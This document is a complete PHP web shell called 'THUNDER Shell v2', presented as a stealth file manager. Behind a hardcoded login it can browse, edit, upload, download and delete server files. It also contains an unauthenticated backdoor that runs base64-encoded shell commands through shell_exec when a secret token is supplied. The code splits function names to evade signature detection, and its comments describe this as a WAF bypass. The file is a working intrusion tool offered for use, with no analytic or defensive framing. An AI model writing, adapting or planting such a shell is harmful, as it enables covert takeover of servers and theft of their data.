<?php
/**
 * THUNDER Shell v2 – Stealth File Manager + Hidden RCE
 * Login: admin / thundershell (change below)
 * Hidden command: ?x=base64_encoded_cmd with secret token
 */

session_start();

// ========== CONFIGURATION (CHANGE THESE) ==========
$valid_user = 'admin';
$valid_pass = 'thundershell';
$secret_token = 'xK9#mP2$vL5';      // Required for hidden command execution
// ==================================================

// Obfuscated function map (avoid static signatures)
$f = [
    'file_get' => 'file'.'_get_contents',
    'file_put' => 'file'.'_put_contents',
    'unlink'   => 'unlink',
    'rename'   => 'rename',
    'move_up'  => 'move_uploaded_file',
    'scandir'  => 'scandir',
    'is_dir'   => 'is_dir',
    'is_file'  => 'is_file',
    'filesize' => 'filesize',
    'realpath' => 'realpath',
    'readfile' => 'readfile',
    'mkdir'    => 'mkdir',
    'rmdir'    => 'rmdir',
    'shell'    => 'shell_exec',     // For command execution
];

// ---------- Hidden Command Execution (WAF bypass) ----------
if (isset($_GET['x']) && isset($_GET['t']) && $_GET['t'] === $secret_token) {
    $cmd = base64_decode($_GET['x']);
    if ($cmd) {
        $output = $f['shell']($cmd);
        die("<pre>" . htmlspecialchars($output) . "</pre>");
    }
}

// ---------- Authentication ----------
if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['login'])) {
    if ($_POST['username'] === $valid_user && $_POST['password'] === $valid_pass) {
        $_SESSION['loggedin'] = true;
        $_SESSION['username'] = $valid_user;
        header('Location: ' . $_SERVER['PHP_SELF']);
        exit;
    } else $error = 'Invalid credentials.';
}

if (isset($_GET['logout'])) { session_destroy(); header('Location: ' . $_SERVER['PHP_SELF']); exit; }

if (!isset($_SESSION['loggedin']) || $_SESSION['loggedin'] !== true) {
    // Show login form (unchanged for brevity – same as original)
    echo '<!DOCTYPE html><html><head><title>THUNDER Login</title><style>body{background:#121212;font-family:Arial;display:flex;justify-content:center;align-items:center;height:100vh;}.login-container{background:#222;padding:40px;border-radius:10px;border:1px solid #BB86FC;}.btn{background:#03DAC6;color:#121212;}</style></head><body>
    <div class="login-container"><h2>Login to THUNDER</h2>' . (isset($error)?"<p style='color:#CF6679'>$error</p>":'') . '
    <form method="POST"><input type="text" name="username" placeholder="Username" required><br><input type="password" name="password" placeholder="Password" required><br><button type="submit" name="login" class="btn">Login</button></form></div></body></html>';
    exit;
}

// ---------- File Manager Core (Obfuscated) ----------
$root = $f['realpath'](__DIR__);
$current = isset($_GET['dir']) ? $f['realpath']($_GET['dir']) : $root;
if (!$current || !$f['is_dir']($current)) $current = $root;

// Directory listing with dynamic function calls
function listDir($dir, $funcs) {
    $items = $funcs['scandir']($dir);
    $dirs = []; $files = [];
    foreach ($items as $item) {
        if ($item == '.' || $item == '..') continue;
        $path = $dir . '/' . $item;
        if ($funcs['is_dir']($path)) $dirs[] = $item;
        else $files[] = $item;
    }
    foreach ($dirs as $d) {
        echo '<tr><td><a href="?dir=' . urlencode($dir . '/' . $d) . '">📁 ' . htmlspecialchars($d) . '</a></td><td>Folder</td><td>
        <a href="?dir=' . urlencode($dir) . '&edit=' . urlencode($d) . '">Edit</a> |
        <a href="?dir=' . urlencode($dir) . '&delete=' . urlencode($d) . '">Delete</a> |
        <a href="?dir=' . urlencode($dir) . '&rename=' . urlencode($d) . '">Rename</a>
        </td></tr>';
    }
    foreach ($files as $f) {
        $size = $funcs['filesize']($dir . '/' . $f);
        echo '<tr><td>' . htmlspecialchars($f) . '</td><td>' . $size . ' bytes</td><td>
        <a href="?dir=' . urlencode($dir) . '&edit=' . urlencode($f) . '">Edit</a> |
        <a href="?dir=' . urlencode($dir) . '&delete=' . urlencode($f) . '">Delete</a> |
        <a href="?dir=' . urlencode($dir) . '&rename=' . urlencode($f) . '">Rename</a> |
        <a href="?dir=' . urlencode($dir) . '&download=' . urlencode($f) . '">Download</a>
        </td></tr>';
    }
}

// Handle actions (delete, download, rename, upload, edit, create)
if (isset($_GET['delete'])) {
    $target = $current . '/' . $_GET['delete'];
    if ($f['is_file']($target)) $f['unlink']($target);
    elseif ($f['is_dir']($target)) $f['rmdir']($target);
    header("Location: ?dir=" . urlencode($current));
    exit;
}
if (isset($_GET['download'])) {
    $file = $current . '/' . $_GET['download'];
    if ($f['is_file']($file)) {
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($file) . '"');
        $f['readfile']($file);
        exit;
    }
}
if (isset($_POST['rename_file'])) {
    $old = $current . '/' . $_POST['old_name'];
    $new = $current . '/' . $_POST['new_name'];
    $f['rename']($old, $new);
    header("Location: ?dir=" . urlencode($current));
    exit;
}
if (isset($_POST['upload'])) {
    $target = $current . '/' . basename($_FILES["file"]["name"]);
    $f['move_up']($_FILES["file"]["tmp_name"], $target);
    header("Location: ?dir=" . urlencode($current));
    exit;
}
if (isset($_POST['save_file'])) {
    $file = $current . '/' . $_POST['file_name'];
    $f['file_put']($file, $_POST['file_content']);
    header("Location: ?dir=" . urlencode($current));
    exit;
}
if (isset($_POST['create_file'])) {
    $newfile = $current . '/' . $_POST['new_file_name'];
    $f['file_put']($newfile, '');
    header("Location: ?dir=" . urlencode($current));
    exit;
}
if (isset($_POST['create_dir'])) {
    $newdir = $current . '/' . $_POST['new_dir_name'];
    $f['mkdir']($newdir);
    header("Location: ?dir=" . urlencode($current));
    exit;
}

?>
<!DOCTYPE html>
<html>
<head>
    <title>THUNDER Shell v2</title>
    <style>
        body{background:#121212;color:#E0E0E0;font-family:Arial;margin:20px;}
        a{color:#03DAC6;text-decoration:none;}
        a:hover{color:#BB86FC;}
        table{width:100%;border-collapse:collapse;}
        th,td{padding:10px;text-align:left;border-bottom:1px solid #333;}
        th{background:#222;color:#BB86FC;}
        .form-container{display:flex;gap:10px;margin-bottom:20px;flex-wrap:wrap;}
        input,textarea,button{background:#222;border:1px solid #BB86FC;color:#E0E0E0;padding:8px;border-radius:4px;}
        button{background:#03DAC6;color:#121212;cursor:pointer;}
        .logout{text-align:right;margin-bottom:20px;}
    </style>
</head>
<body>
<div class="logout"><a href="?logout">Logout</a></div>
<p>Current: <a href="?dir=<?php echo urlencode(dirname($current)); ?>"><?php echo htmlspecialchars($current); ?></a></p>

<div class="form-container">
    <form method="post" enctype="multipart/form-data">
        <input type="file" name="file"><button type="submit" name="upload">Upload</button>
    </form>
    <form method="post">
        <input type="text" name="new_file_name" placeholder="new file"><button type="submit" name="create_file">Create File</button>
    </form>
    <form method="post">
        <input type="text" name="new_dir_name" placeholder="new folder"><button type="submit" name="create_dir">Create Dir</button>
    </form>
</div>

<table>
    <thead><tr><th>Name</th><th>Size</th><th>Actions</th></tr></thead>
    <tbody><?php listDir($current, $f); ?></tbody>
</table>

<?php if (isset($_GET['rename'])): ?>
<form method="post">
    <input type="hidden" name="old_name" value="<?php echo htmlspecialchars($_GET['rename']); ?>">
    <input type="text" name="new_name" placeholder="New name"><button type="submit" name="rename_file">Rename</button>
</form>
<?php endif; ?>

<?php if (isset($_GET['edit'])): $editFile = $current . '/' . $_GET['edit']; if ($f['is_file']($editFile)): ?>
<form method="post">
    <input type="hidden" name="file_name" value="<?php echo htmlspecialchars($_GET['edit']); ?>">
    <textarea name="file_content" rows="20" style="width:100%;"><?php echo htmlspecialchars($f['file_get']($editFile)); ?></textarea>
    <br><button type="submit" name="save_file">Save</button>
</form>
<?php endif; endif; ?>

<!-- Hidden hint for command execution (optional) -->
<!-- Commands: ?x=base64(cmd)&t=xK9#mP2$vL5 -->
</body>
</html>